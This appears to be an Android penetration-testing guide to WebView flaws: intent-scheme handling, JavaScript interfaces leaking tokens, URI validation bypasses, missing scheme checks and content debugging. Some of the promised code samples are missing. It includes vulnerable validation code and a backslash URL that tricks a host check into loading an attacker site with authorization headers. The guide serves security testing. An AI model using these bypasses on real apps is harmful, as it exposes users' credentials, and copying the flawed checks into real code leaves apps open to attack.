WebView is a View that displays web pages. WebView objects display web content as part of an activity layout, but lack some of the features of fully-developed browsers.
Access arbitrary components
The Intent class allows developers to convert an intent to a string holding a URI representation of it with the toUri(flags) method and create an intent from this URI with the parseUri(stringUri, flags) method. An app can use this to parse a URL with the intent scheme into intent and launch an activity while handling the URL within the WebView. If the handling is not implemented correctly, you can access arbitrary components of the app.
Developers can override the shouldOverrideUrlLoading() method of the WebViewClient class to handle all efforts to load a new link within WebView. The example of mishandling might look as follows:
This code adds a custom handler for URLs with the intent scheme that launch a new activity using the passed URL. You can exploit this mishandling by creating a WebView and redirecting it to a specially crafted intent-scheme URL:
addJavascriptInterface method injects the supplied Java object into this WebView. The object is injected into all frames of the web page, including all the iframes, using the supplied name. This allows the Java object's methods to be accessed from JavaScript (the Java object's fields are not accessible).
This method can provide data to JavaScript or even allow JavaScript to controll the host application. For example, the following interface is leaking a user token:
The android.net.Uri is an abstract class with a few internal subclasses, that allows you to build custom URI with arbitrary parts using android.net.Uri$HierarchicalUri.
Assume, an app implements the following validation:
// AuthWebViewActivity Uri uri =getIntent().getData();boolean isOurDomain ="https".equals(uri.getScheme()) &&uri.getUserInfo() ==null&&"legitimate.com".equals(uri.getHost());if (isOurDomain) {webView.load(uri.toString(),getAuthHeaders());}
In this case, you can build a URL that will pass validation, but calling uri.toString() will return the attacker's website:
This is possible because a victim app does not parse URI itself and trusts the already parsed URI that it received from an untrusted source.
Broken parser
The android.net.Uri does not recognize backslashes in the authority part (but java.net.URI throws an exception), this allows you to bypass a URL validation. For example, the vulnerable code can look as follows:
Uri uri =Uri.parse(attackerControlledString);if ("legitimate.com".equals(uri.getHost()) ||uri.getHost().endsWith(".legitimate.com")) {webView.loadUrl(attackerControlledString,getAuthorizationHeaders());// or// webView.loadUrl(uri.toString());}
In this case, you can bypass the restriction with backslashes:
String url ="http://attacker-website.com\\\\@legitimate.com/path";String host =Uri.parse(url).getHost();// The "host" variable contains the "legitimate.com" valueLog.d("d", host);// WebView loads the attacker-website.comwebView.loadUrl(url,getAuthorizationHeaders());
Missing scheme validation
If an app does not validate the scheme value (but may validates the host one) you can try to abuse this with with javascript and file schemes URLs:
setWebContentsDebuggingEnabled enables debugging of web contents (HTML/CSS/JavaScript) loaded into any WebViews of an application. This flag is used in order to facilitate debugging of web layouts and JavaScript code running inside WebViews.
WebContentsDebugging is not affected by the state of the debuggable flag in the application's manifest.
Enabling this flag allows you to execute arbitrary JavaScript code within any WebViews of an application.